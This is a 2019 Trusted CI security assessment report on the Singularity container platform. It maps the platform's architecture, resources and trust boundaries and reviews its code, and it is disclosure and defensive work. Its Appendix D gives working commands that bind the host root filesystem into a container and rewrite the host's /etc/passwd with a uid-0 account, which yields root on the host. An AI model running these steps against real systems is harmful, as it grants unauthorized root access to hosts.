TrustedCI: The NSF Cybersecurity Center of Excellence
Singularity First Principles Vulnerability Assessment

July 23rd, 2019
Final Report
For public distribution after January 15th, 2020

Evan Kivolowitz\textsuperscript{1}, Elisa Heymann\textsuperscript{2}, Barton P. Miller\textsuperscript{3}

\textsuperscript{1} Student Researcher, ekivolowitz@cs.wisc.edu
\textsuperscript{2} Software Assurance Lead, elisa@cs.wisc.edu
\textsuperscript{3} Co-PI, bart@cs.wisc.edu
About Trusted CI

The mission of Trusted CI is to provide the NSF community with a coherent understanding of cybersecurity, its importance to computational science, and what is needed to achieve and maintain an appropriate cybersecurity program⁴.

Acknowledgments

Trusted CI’s engagements are inherently collaborative; the authors would like to thank the Sylabs team, specifically Dave Godlove and Cedric Clerget for the collaborative effort that made this document possible.

This document is a product of the Center for Trustworthy Scientific Cyberinfrastructure (Trusted CI). Trusted CI is supported by the National Science Foundation under Grants Numbered OCI-1234408 and ACI-1547272. For more information about the Center for Trustworthy Scientific Cyberinfrastructure please visit: https://trustedci.org/. Any opinions, findings, and conclusions or recommendations expressed in this material are those of the author(s) and do not necessarily reflect the views of the National Science Foundation.

Using & Citing this Work

This work is made available under the terms of the Creative Commons Attribution 3.0 Unported License. Please visit the following URL for details:
http://creativecommons.org/licenses/by/3.0/deed.en_US

Cite this work using the following information:


This work is available on the web at the following URL:
http://hdl.handle.net/2142/104612

⁴ https://trustedci.org/mission
## Table of Contents

About Trusted CI ............................................ 1
Acknowledgments ............................................. 1
Using & Citing this Work ..................................... 1
Table of Contents ............................................ 2
List of Figures ............................................... 4
Executive Summary ......................................... 5

1 Overview ................................................... 6
   1.1 Background .......................................... 6
   1.2 Methodology ......................................... 6

2 Overview of First Principles Vulnerability Assessment .... 7

3 Architectural Analysis ..................................... 8
   3.1 Attack Surface ...................................... 9
   3.2 Process Creation and Startup Mechanism ............ 9
   3.3 The Architectural Diagram .......................... 10
   3.4 Namespaces ......................................... 11

4 Resource Identification ................................... 11

5 Trust and Privilege Analysis ............................. 13

6 Component Evaluation ................................... 14
   6.1 Items that needs to be addressed ................. 14
      6.1.1 Privilege escalation on host via a container 14
      6.1.2 Launching containers into the background .... 15
   6.2 Places searched with no apparent issues found ... 15
      6.2.1 starter-suid process .......................... 16
      6.2.2 starter-suid string handling .................. 17
      6.2.3 RPC connection ................................ 18
      6.2.4 LoadContainerFP ............................. 19
      6.2.5 Umask ......................................... 20
   6.3 Stress Testing ...................................... 20
Appendices

Appendix A: Architectural Diagram with namespaces 22
Appendix B: Binding unowned directories into a container 35
Appendix C: Running a container in the background and returning it into the foreground 35
Appendix D: Becoming root on the host machine 36
### List of Figures

<table>
<thead>
<tr>
<th>Figure</th>
<th>Page No.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Figure 1. Singularity run/exec/shell Architecture Diagram</td>
<td>8</td>
</tr>
<tr>
<td>Figure 2. Singularity run/exec/shell Resource Diagram</td>
<td>12</td>
</tr>
<tr>
<td>Figure 3. Stress test results</td>
<td>21</td>
</tr>
<tr>
<td>Figure 4. User interacts with CLI</td>
<td>22</td>
</tr>
<tr>
<td>Figure 5. Singularity gathers metadata</td>
<td>23</td>
</tr>
<tr>
<td>Figure 6. Go CLI buffers data</td>
<td>24</td>
</tr>
<tr>
<td>Figure 7. Starter-suid de-escalates</td>
<td>25</td>
</tr>
<tr>
<td>Figure 8. Stage 1</td>
<td>26</td>
</tr>
<tr>
<td>Figure 9. Starter-suid escalates</td>
<td>27</td>
</tr>
<tr>
<td>Figure 10. Stage 2 forked.</td>
<td>28</td>
</tr>
<tr>
<td>Figure 11. Stage 2 creates new namespace</td>
<td>29</td>
</tr>
<tr>
<td>Figure 12. RPC process created</td>
<td>30</td>
</tr>
<tr>
<td>Figure 13. Communication between starter-suid and RPC</td>
<td>31</td>
</tr>
<tr>
<td>Figure 14. RPC mounts resources</td>
<td>32</td>
</tr>
<tr>
<td>Figure 15. RPC Chroots</td>
<td>33</td>
</tr>
<tr>
<td>Figure 16. Run action script</td>
<td>34</td>
</tr>
</tbody>
</table>
Executive Summary

Trusted CI collaborated with the Sylabs team to assess the security of Singularity, an open source container platform optimized for high-performance computing (HPC) and scientific environments. The goal of Singularity is to provide an easy-to-use, secure, and reproducible environment for scientists to transport their studies between computational resources. As wider communities are using the Singularity software and collaborating with Sylabs, a security assessment becomes an important aspect of the software.

We conducted an in-depth vulnerability assessment of Singularity by applying the First Principle Vulnerability Assessment (FPVA) methodology. The FPVA analysis started by mapping out the architecture and resources of the system, paying attention to trust and privilege used across the system, and identifying the high value assets in the system. From there we performed a detailed code inspection of the parts of the code that have access to the high value assets.

We assessed Singularity version 3.1 (released February 22, 2019), using containers bootstrapped from the Singularity Library using the Ubuntu:18.04 image. Given the time constraints, the assessment was limited to the shell, exec, and run commands. We collected the results from each step of applying the FPVA methodology and released this report to the Sylab team at the end of the engagement. Note that we verified all the results also apply to version 3.2 which was released towards the end of our study (May 14, 2019).

This report includes, in addition to issues, a discussion of the parts of Singularity that were inspected but where no apparent issues were found. Though it is impossible to certify that code is free of vulnerabilities, we have increased confidence in the security of those parts of the code. We also commented on design complexities that appear fragile and need special care to prevent future vulnerabilities from being created when the software is updated.

As a part of our assessment activity we found a privilege escalation vulnerability and a bug related to running containers in the background.

The vulnerability occurs because gaining root access inside of a container allows for root access on the underlying host machine. Such root access on the host machine is both unexpected and undocumented. Root access within the container, combined with unrestricted

---

access to the underlying host’s root directory allows for a privilege escalation on the host machine. This is a dangerous practice and should be documented and probably blocked.

The bug occurs when a user runs a container in the background using the `singularity run` command with the shell “&” operator. We found that a user can execute a container that, when brought back into the foreground, can only be killed by the user or root from another window.

1 Overview
This document describes the Trusted CI - Singularity engagement that occurred January to June 2019. The goals of the engagement were to evaluate the technology and architecture of the Singularity software, and perform a code-level security review of the Singularity software.

1.1 Background
Singularity is an open source container system developed by Sylabs that provides users with a consistent, reproducible environment in which to run their code. For system administrators, Singularity allows fine-grained control over the types of operations that users are allowed to use. System administrators can grant specific Linux capabilities to users, giving only the minimum amount of privilege escalation necessary to run their container, without granting full root access. In total, including dependencies, the components of Singularity are composed of about 350,000 lines of code excluding comments and whitespace, primarily written in Go. Without dependencies, Singularity is about 39,000 lines of code, including about 32,000 lines of Go and about 1,400 lines of C. The remaining code is a mixture of scripts, and markdown.

1.2 Methodology
The Sylabs team applied for a Trusted CI engagement for the Singularity project in October of 2018. They stated that the application was intended to strengthen software assurance for administrators of high performance computing centers.

This engagement focused on performing FPVA on Singularity. We assessed Singularity version 3.1, using containers bootstrapped from the Singularity Library using the `Ubuntu:18.04` image. Due to limited time and resources, our FPVA assessment focused on the `run`, `exec`, and `shell` commands.

---

6 https://sylabs.io
7 https://github.com/AlDanial/cloc
2 Overview of First Principles Vulnerability Assessment

First Principles Vulnerability Assessment (FPVA) is an analyst-centric (manual) methodology that aims to focus the analyst’s attention on the part of the software system and its resources that are most likely to contain vulnerabilities that would provide access to high-value assets. FPVA finds new threats to a system and is not dependent on a list of known threats. The FPVA methodology consists of five steps for evaluating a given piece of software.

1. **Architectural Analysis**: determine the major structural components of the system and then how they interact. At this point, we produce Architectural Diagrams that illustrate the structure of the system. The primary deliverable of this step is Figure 1.

2. **Resource Identification**: identify key resources accessed by each component. Examples of these resources include files, databases, logs and devices. The Resource Diagrams we produced illustrate these resources and their connection to system components. The primary deliverable of this step is Figure 2.

3. **Trust and Privilege Analysis**: identify the trust assumptions about each component, answering such questions as how are they protected and who can access them? Associated with trust is describing the privilege level at which each executable component runs. The artifact produced at this stage is a further labeling of the basic diagrams with trust levels and labeling of interactions with delegation information.

4. **Component Evaluation**: examine relevant components in depth. A key aspect of the FPVA methodology is that this step is guided by information obtained in the first three steps, helping to prioritize the work so that high value targets are evaluated first. Any vulnerabilities identified result in the production of a comprehensive vulnerability report that is disseminated to the requesting parties. All work done during this step is logged for inclusion in the final report.

5. **Dissemination of Results**: we prepare a final report that includes the deliverables mentioned above as well as an outline of the work completed. We include identified bugs as well as areas that have been investigated but no bugs or vulnerabilities were found. We then disseminate the final report to the requesting parties (i.e., the lead of the development team).

We adhered to these steps in the Singularity engagement. We note that Singularity is a large and complex software system, so no time-limited assessment activity will be able to find all possible sources of insecurity. Regular assessments of the software will help maintain its security. In addition, Singularity uses a variety of software technologies resulting in a complex...
software stack. As such, there needs to be ongoing attention to the security of the external software on which Singularity depends.

3 Architectural Analysis
We analyzed the Singularity documentation, and constructed a Vagrant Box with Singularity installed on it. Based upon our study of the documentation, the testing environment, and the code that we inspected, we identified the attack surface, the core process creation and privilege escalation mechanism, evaluated the use of namespaces in Singularity, and produced the Architectural Diagram, Figure 1, for the run, exec, and shell commands. We elaborate more on our findings in the following subsections.

**Figure 1. Architectural diagram for Singularity run/exec/shell.**

---

8 https://sylabs.io/docs/
9 https://app.vagrantup.com/sylabs
10 https://github.com/sylabs/singularity
3.1 Attack Surface

From the Architectural Diagram, we identified the following points on the attack surface:

- The command line interface (CLI): a user interacts with Singularity through the CLI. The user may specify flags, depending on the command that directly affect the runtime environment of a container.
- The Singularity Image File (SIF) that is the file containing the image of the container: The user supplies a SIF file to run on a system with Singularity installed. The owner of the container can create a container on their own machine with any software installed and can specify any script to run within a container on the host machine.
- Configuration files: Singularity has configuration files like `singularity.conf` and `capability.json` that help configure the runtime environment for a container, and Linux system files like `/etc/passwd` and `/etc/group` that are mapped into the container from the host.

3.2 Process Creation and Startup Mechanism

We describe the `starter-suid` component of Figure 1 in detail separately in this subsection because of its unique and unusual design and it is the foundation to the rest of Singularity’s architecture. Section 3.3 describes the other components of the Singularity architecture shown in Figure 1.

Singularity uses an executable file called `starter-suid` to control the creation of a container. This executable primarily consists of Go code, however it contains an initialization function written in C. The `starter-suid` executable is launched by the CLI process.

The CLI process gathers metadata about the runtime of the container, such as the location of the SIF file on the host machine, and the home directory of the calling user. The CLI process then creates a loopback socket pair and writes metadata into the socket. The data is buffered in the socket connection until later, at which time the `starter-suid` executable will read it.

The CLI process creates an environment variable containing the file descriptor of the other end of the socket. Then the `starter-suid` executable is exec’d and reads the environment variable containing the file descriptor. The C function of `starter-suid` contains a GCC constructor attribute that specifies it to run before the main function executes. This init function uses the environment variable containing the file descriptor of the receiving end of the
socket to identify the socket on which the configuration information resides. The configuration information is read from the socket and placed into a global structure called config.

The init function then forks a new process. This child process sets a global variable called execute and then returns, which then allows the main function (Go code) to execute. The main function uses the built-in Cgo package to access variables created by the C code. Each process created by starter-suid is created in a similar fashion: init forks, the child sets the global execute variable to the desired stage and returns, main runs and reads the execute variable to determine what to do.

The only code that escalates privilege within Singularity resides in the init function. Because starter-suid is a setuid binary, it starts execution as root and de-escalates privilege to the calling user’s UID. Only when elevated privilege is required, for example when changing process capabilities, creating new namespaces, or creating the root owned RPC process does init re-escalate privilege. Once the privileged operation finishes, privilege immediately drops again.

3.3 The Architectural Diagram

As previously mentioned, the init portion of starter-suid creates all of the processes used to run a container. The first process created, “Stage 1”, is primarily concerned with opening the SIF file and setting configuration options to be used later in execution. “Stage 2” is responsible for running the action script that specifies what the user would like to do within the newly created container, and immediately waits for the RPC process to finish. The RPC process is responsible for executing mount and chroot commands, among other system calls. The starter-suid process eventually returns to execute Master. The Master process is responsible for mounting resources like /proc, /sys, /dev and the root file system (the file system on which the container was based) into the container by calling the RPC.

In our analysis, we identified key individual components such as starter-suid, the RPC process, “Stage 1” and “Stage 2”, and the Master process. We concluded that the particular parts of interest for an in-depth code inspection are the C init function and the communication channel to the RPC.
3.4 Namespaces

Namespaces provide processes an isolated view of global system resources. The Singularity runtime relies on namespaces to isolate actions performed and files created or modified inside a container from affecting the host machine.

Singularity supports the use of seven namespaces: mnt, ipc, net, pid, user, uts, and cgroup. Creating a new namespace is optional for all the namespaces except for mnt. The mnt namespace provides a process with a copy of its parent’s list of mount points. This means that changes to the child’s file system will not appear in the parent’s.

No previous FPVA assessment has modeled namespaces so we paid extra care to this area. Given the time constraints and complexity of this engagement, we only investigated the mnt namespace. The mnt namespace is the only mandatory one when creating a container. The rest of the namespaces, ipc, net, pid, user, uts, and cgroup are optional. Our Architectural Diagram does not include namespaces because of the limitations of a single image. To show how Singularity uses the mnt namespace, we included a series of additional diagrams with namespaces drawn as colored rectangles in Appendix A.

4 Resource Identification

Following the production of architectural diagrams, we identified the key resources accessed by the components identified above. This information was used to produce the Resource Diagram in Figure 2.
From the Resource Diagram in Figure 2, we are able to identify critical resources for further investigation, like files and directories both on the host and within the container. For each file, we inspected the permissions of the file, and where and how the file is used when running a container. There are three Singularity configuration files: `singularity.conf`, `ecl.toml`, and `capability.json`. All three files have 0644 permissions and are owned by the root user. They are stored by default in `/usr/local/etc/singularity/` on the host machine with where the parent directory has 0755 permissions.

Singularity uses `singularity.conf` to determine what containers can do on the host. For example, the system administrator can allow containers to use the privileged `setuid` program flow\(^\text{11}\) of `starter-suid`, set the maximum number of loop devices Singularity can use, and whether or not to automatically append an entry in `/etc/passwd` for the calling user within a container, among other options. Containers can run without the `setuid` program flow by

---

\(^{11}\) Following the Singularity documentation rhetoric, “program flow” means which starter executable to run. There are two starter binaries, `starter-suid` which we evaluated and `starter`, the difference being `starter-suid` has the `setuid` bit enabled.
either running as sandbox containers that are mutable containers built within a directory on the host filesystem or running the container in an unprivileged user namespace. The recommended and default execution mode enables the setuid program flow.

The ecl.toml file contains the execution control list for a host. This file allows the system administrator to whitelist or blacklist containers based on the location of the SIF file in the filesystem, or by signed keys. In a standard installation, the Execution Control List must be explicitly enabled by the system administrator.

The capability.json file is used to store information about what Linux capabilities users have within their containers. For a user to obtain Linux capabilities, they have to request the Linux capability from the system administrator. The system administrator would need to grant the requested Linux capability by using Singularity’s built-in “capability add” function via sudo. The user may specify at runtime the Linux capabilities they would like to use with the --add-caps flag and will only receive the ones explicitly listed in the capability.json file. By default, users have no Linux capabilities.

Depending on the content of singularity.conf, Singularity mounts several root-owned root-level directories and files listed in Figure 2. Within the container, all of the resources remain root-owned except for /etc/passwd, /etc/group, and /etc/resolv.conf, which are owned by the user running the container.

The starter-suid executable is root owned, and can be found on the host machine at /usr/local/libexec/singularity/bin/. The permissions on starter-suid and its parent directory are 4755 and 0755 respectively.

5 Trust and Privilege Analysis

There is implicit trust in any process running as root or resource owned by root. Any communication from an unprivileged process to a privileged process needs to be investigated, and any data read in from a resource needs to be validated.

In Singularity, the Master process acts as a client communicating with the RPC that has elevated permissions. The Master process provides the arguments for each callable command, like mount, chroot, or mkdir to name a few. Singularity allows a user to bind a directory they do not own on the host into the container, see Appendix B for an example. The permissions of resources outside the container remain the same inside of the container, so a user cannot
access anything they could not access on the host. Neither the RPC process nor the client do any validation of ownership before creating and executing a command.

Several of Singularity’s resources are required to be root owned. For example, if singularity.conf, ecl.toml, or capability.json are not owned by root, Singularity will not run any containers on the system. These three files are writable only by root, but readable by everyone on the system.

6 Component Evaluation
This section describes some of the areas of focus for the component analysis step of our assessment. In this step, we performed code inspection looking for weaknesses that could be exploited.

6.1 Items that needs to be addressed
We found two unexpected behaviors in Singularity.

6.1.1 Privilege escalation on host via a container
Summary
Gaining root access inside of a container allows for root access on the underlying host machine. Such root access on the host machine is both unexpected and undocumented. Root access within the container, combined with unrestricted access to the underlying host’s root directory allows for a privilege escalation on the host machine. This is a dangerous practice and should be documented and probably blocked.

Description
Given the current Singularity structure, if we can access the root file system of the underlying host, we can modify the /etc/passwd file to allow us to set the root password on the host. The host root file system can be mounted into the container with the bind flag in the run, shell, and exec commands. A detailed example of this is in Appendix D.

Result
By using the above techniques, a user that becomes root inside of the container can become root on the underlying host. Assuming the need to allow root access within the container, preventing this privilege escalation on the host can be blocked by not allowing the root file system to be mounted into the container in a writable fashion.
The Sylabs team reported to us that they have introduced a feature in Singularity 3.3 (current in pre-release) that prevents access to the underlying root file system by using a User ID mapping system. This feature, fakeroot, controls whether the User ID of root in the container will access the host file system as root, or as another (less dangerous) UID. Note that this UID mapping scheme is similar to that developed many years ago in the NFS file server developed by Sun Microsystems. By default, Singularity does not use the fakeroot feature, exposing the host file system to the container.

6.1.2 Launching containers into the background
Summary
Singularity allows users to run containers in the background using singularity run command and the shell “&” operator. We found that a user can execute a container that, when brought back into the foreground, can only be killed by the user or root from another window. Note that this does not occur when a user puts the container into the background with the instance command.

Description
We created two containers for our test. The first container has a runscript (a shell script written by the author of the container to run when the container is invoked with a run command) that reads from STDIN indefinitely. The second container’s runscript did not read from STDIN. We launched both containers into the background.

Results
When we brought the container reading from STDIN to the foreground, we could not send interrupts or EOFs to kill the runscript making it difficult for the user running the container to exit. To kill the container, we had to kill the process manually from a new window. When we brought the container whose runscript was not reading from STDIN to the foreground, we could kill it with a signal interrupt.

6.2 Places searched with no apparent issues found
We evaluated several other components of the system and did not find any bugs. Though it is impossible to certify that a code is free of vulnerabilities, we have increased confidence in the security of these parts of the code.
6.2.1 starter-suid process

Summary
Metadata about a run, shell, or exec command is buffered in a socket as JSON for starter-suid to read. We tested several ways to corrupt the buffered data or trick starter-suid into reading data from a different source. In all cases, starter-suid read the metadata correctly.

Location
File: /cmd/starter/c/starter.c
  Function(s):
    init

File: /cmd/internal/cli/actions_linux.go
  Function(s):
    execStarter

File: /internal/pkg/util/exec/pipe_linux.go
  Function(s):
    Pipe
    setPipe

Description
The buffer passed to starter-suid contains important information like the path to the SIF, and the action to run within the container. After the buffer is created and data is written into it, Singularity exec’s starter-suid setting an environment variable, PIPE_EXEC_FD, with the file descriptor number for the buffered socket.

We then tested running containers with characters in the name that would break JSON structure like “{ “}”, “[ “]”, “‘ “”, and “" “”, to crash JSON parsing. We also saw that the JSON data is read into a C structure, which has a fixed size buffer. We ran SIFs with file names larger than the size of the buffer in which the JSON data is stored.

Result
When the CLI process calls exec, it sets the environment variable for starter-suid. The system call being invoked is execve, which allows users to replace the old environment
variables with a strict set of provided ones. We could not replace the buffered socket with a
different buffer by specifying a new file descriptor.

The data written into the socket is sanitized before being written to the socket. Special
characters that would break the JSON structure are escaped, keeping the structure intact.
Additionally, the structure used to store the JSON data has a maximum size of 128KB. A
maximum of 128KB - 1 bytes is read into the structure.

We found no apparent issues when transferring metadata to starter-suid or handling non
alphanumeric text.

6.2.2 starter-suid string handling

Summary
The starter-suid executable uses several C string functions notorious for buffer overflows.
We inspected the arguments passed in to the string functions and their origins to provide
malicious input. We found no buffer overflows or apparent issues.

Location
File: /cmd/starter/c/starter.c
Functions:
  network_namespace_init
dupenv
init
list_fd

Description
When a user issues a Singularity command that involves a container, for example: run, exec,
or shell, starter-suid will be executed. Within several functions in starter-suid
there are string manipulation function calls. String manipulation calls are potentially dangerous
in C. As such we inspected each call to the string functions in the code: strdup, strcpy,
strcmp, and strncpy. We inspected where the arguments came from for each call to see if
the user can set them.

Result
We inspected all of the arguments to the string functions and found that they are either fixed,
or cannot be manipulated by the user. All string manipulation functions properly check lengths
and are null terminated. In all cases, we found no apparent issues regarding the use of C string functions.

6.2.3 RPC connection

Summary
Singularity relies on an RPC to execute system calls while setting up the container. Various commands such as Mounts, Chroots, and LoopDevice creation can be invoked from an unprivileged client. We looked in depth at how the communication was established between the client and the RPC to alter the RPC’s actions. We found no issue with how the communication channel was formed between the processes.

Location
File: /internal/app/starter/rpc.go
Function(s):
    RPCServer

Description
The RPC process communicates with the Master process over Unix sockets which are file descriptors. There are no networking elements involved, so any attack would need to come from a user on the host machine. The RPC is built on the standard Go RPC package, leveraging existing client and server interfaces. When the RPC is launched, it serves a single connection, disallowing multiple clients.

Result
The socket pair generated for communication between the Master and RPC processes are initialized with the SOCK_CLOEXEC flag, which closes the socket ends upon execution. This removes any reference to them except for the ones held by the two processes connecting to the socket. Once the connection is formed with the client, no other client can replace or impersonate the first client. We found no apparent issue regarding the RPC connection.

We note however that any input the client provides will be executed by the RPC. The client nor the RPC validate the arguments to ensure that the calling user owns or has permission to read, write, or execute any resource mounted into the container.
6.2.4 LoadContainerFP

Summary
Singularity makes use of another Sylabs repository, the SIF repository to interact with SIF files. A required step in creating a container runtime environment is mounting its root file system, the base file system that the container was built on. We looked for resource leaks relating to the root file system loading and accessing stages. We found no apparent issues.

Location
File: /internal/pkg/runtime/engines/singularity/container.go
Function: addRootfsMount

Description
When creating the container from the SIF file, Singularity calls the function LoadContainerFP which reads a SIF into memory. This is used to retrieve the root file system, or the base file system that the container was built on. During a Singularity build command, a similar function to LoadContainerFP, LoadContainer is called. They serve identical functions, however LoadContainerFP opens a SIF from a file pointer, and LoadContainer opens a SIF from a path. The LoadContainer call is accompanied by a UnloadContainer call, which frees the resources; the LoadContainerFP call is not paired with an UnloadContainer call at any point in the lifecycle of a container. This suggests that the mmap’d memory could be a resource leak. We investigated creating a container with multiple root file systems given that a user could potentially consume more resources than intended.

Result
It is not possible to craft a container with multiple root file systems because the build command stores the Definition File information as a map. The Bootstrap and From fields in the Definition File for a container specify where the parent container comes from can have only one value. If multiple values are specified, the map uses the most recently defined fields and does not duplicate them. The mapped memory is unmapped upon process termination, so a call to UnloadContainer is unnecessary. No apparent resource leak was found.
6.2.5 Umask

Summary
The Umask is changed several times within the Singularity codebase. We investigated the effects of changing the Umask.

Location
File: Many

Functions:
   Many

Description
We reviewed the code of every usage of the Umask system call. The vast majority of Umask calls set the mask to 0. Whenever the Umask is set to 0, the file creation excludes writing capabilities to group and other and the Umask is restored to its previous value.

Result
We found no apparent issues relating to Umask manipulation.

6.3 Stress Testing

Summary
We conducted a Stress test on a host running Singularity, benchmarking the total memory used on the system.

Description
We created ten containers for this test. Each container ran a simple script that reads from Standard Input indefinitely. We launched every container using the `run` command into the background. Here are the results as recorded from `top` after we ran each container.
<table>
<thead>
<tr>
<th>Number of Containers</th>
<th>Memory Usage of System</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>50,152 KiB</td>
</tr>
<tr>
<td>1</td>
<td>55,388 KiB</td>
</tr>
<tr>
<td>2</td>
<td>60,296 KiB</td>
</tr>
<tr>
<td>3</td>
<td>65,332 KiB</td>
</tr>
<tr>
<td>4</td>
<td>70,416 KiB</td>
</tr>
<tr>
<td>5</td>
<td>75,344 KiB</td>
</tr>
<tr>
<td>6</td>
<td>80,524 KiB</td>
</tr>
<tr>
<td>7</td>
<td>85,452 KiB</td>
</tr>
<tr>
<td>8</td>
<td>90,444 KiB</td>
</tr>
<tr>
<td>9</td>
<td>95,472 KiB</td>
</tr>
<tr>
<td>10</td>
<td>100,780 KiB</td>
</tr>
</tbody>
</table>

**Figure 3. Memory usage of a system per number of containers ran.**

**Result**

Singularity containers by themselves are resource efficient, taking about 5,000 KiB per container. We found no apparent issue with resource consumption as each container has a small footprint in memory.
Appendices

Appendix A: Architectural Diagram with namespaces

We created Architectural Diagrams representing a standard Singularity install. Sylabs provided the installation instructions in their documentation under the Quick Installation Steps\(^\text{12}\). The list of figures in this section describe the major interactions and changes in namespaces that Figure 1 could not provide. Major steps are annotated with white text boxes, and namespaces are represented by the rectangular background color.

![Architectural Diagram with namespaces](image)

**Figure 4.** User interacts with Singularity CLI. The user issues a singularity run command which creates the Go CLI process. This takes place inside the host’s namespace.

\(^\text{12}\) [https://sylabs.io/guides/3.2/user-guide/quick_start.html#quick-installation-steps](https://sylabs.io/guides/3.2/user-guide/quick_start.html#quick-installation-steps)
Figure 5. Singularity gathers metadata about the container, like runtime flags, the name of the container, among other data.
Figure 6. The Go CLI buffers data into a socket and then executes the `starter-suid` executable.
Figure 7. Starter-su1d deescalates privilege and reads the buffered information from the socket.
Figure 8. Starter-suid creates Stage 1 which reads in configuration information from the system, and opens the SIF file.
Figure 9. Stage 1 ends and `starter-suid` escalates its privilege and creates a new `mnt` namespace. The purpose of this step is to create a copy of the host machine’s file system for the container to use instead of the original source.
Figure 10. Starter-suid forks Stage 2.
Figure 11. Stage 2 creates a new `mnt` namespace.
Figure 12. Stage 2 creates the RPC process.
Figure 13. *Starter-suid* de-escalates its privilege and runs its main section written in Go called *Master*. *Master* connects to the RPC through a socket connection and makes many requests to mount resources from its *mnt* namespace into the container.
Figure 14. The RPC mounts the requested resources into the container.
Figure 15. The RPC Chroot is the directory where all of the resources are mounted and changes directory to `/`.
Figure 16. **Stage 2** de-escalates privilege and runs the action script within the container.
Appendix B: Binding unowned directories into a container

We demonstrate how a user can bind directories they do not own into a container. The permissions of bound directory are the same within the container and on the host.

$ singularity shell --bind /root:/home/vagrant/root
Singularity loop.sif:~> pwd
/home/vagrant
Singularity loop.sif:~> ls -l root
  drwx------ 3 root  root  4096 Jun 11 19:21 root
Singularity loop.sif:~> cd root/
  bash: cd: root/: Permission denied

Appendix C: Running a container in the background and returning it into the foreground

We created a scenario where a container brought into the foreground cannot be killed in the same window. Below is a Definition File and set of instructions to reproduce the test, as well as another Definition File that shows that containers that do not read from STDIN can be killed.

Definition File:
Bootstrap: library
From: ubuntu:18.04
%runscript
  cat -
%labels
  Author Evan
  Version v0.0.1

Commands to reproduce:
$ sudo singularity build loop_read_stdin.sif <content above>.def
$ singularity run loop_read_stdin.sif &
$ fg
  ^C ^D # cannot exit with SIGINT or EOF

To kill this container, open a new window and kill the process.
Below is a similar Definition File and test that demonstrates that a container that does not read from STDIN can be killed when brought into the foreground.

Definition File
Bootstrap: library
From: ubuntu:18.04
%runscript
    while true; do
        sleep 1s
    done
%labels
    Author Evan
    Version v0.0.1

Commands to reproduce:
$ sudo singularity build loop.sif <content above>.def
$ singularity run loop.sif &
$ fg
    ^C # exit with SIGINT
$

Appendix D: Becoming root on the host machine

Below we provided a Definition File to build a container, and a list of steps that a user follow to become root on the underlying host machine.

Definition File:
Bootstrap: library
From: ubuntu:18.04
%runscript
    echo This container can do bad things.
%labels
    Author Evan Kivolowitz | ekivolowitz@wisc.edu
    Version v0.0.1
Commands to reproduce:

$ sudo singularity build root.sif <content above>.def
$ singularity shell --bind /:/home/vagrant/bind_to_this
   --writable-tmpfs --add-caps CAP_SETUID,CAP_SETGID
   root.sif
Singularity su_root.sif:~/deffiles>
Singularity su_root.sif:~/deffiles> echo -e
   "toor:<password_hash>:0:0:toor:/root:/bin/bash
$(cat /etc/passwd)" > /etc/passwd
Singularity su_root.sif:~/deffiles> su toor
   Password:<enter password>
toor@vagrant:/home/vagrant/deffiles#
toor@vagrant:/home/vagrant/deffiles# id
   uid=0(toor) gid=0(root) groups=0(root)
toor@vagrant:/home/vagrant/deffiles# echo -e
   "toor:<password_hash>:0:0:toor:/root:/bin/bash
$(cat /home/vagrant/bind_to_this/etc/passwd)" >
   /home/vagrant/bind_to_this/etc/passwd
toor@vagrant:/home/vagrant/deffiles# exit
exit
Singularity exploit.sif:~/deffiles>; exit
exit
vagrant@vagrant:~/deffiles$ su toor
   Password: <enter password>
toor@vagrant:/home/vagrant/deffiles# id
   uid=0(toor) gid=0(root) groups=0(root)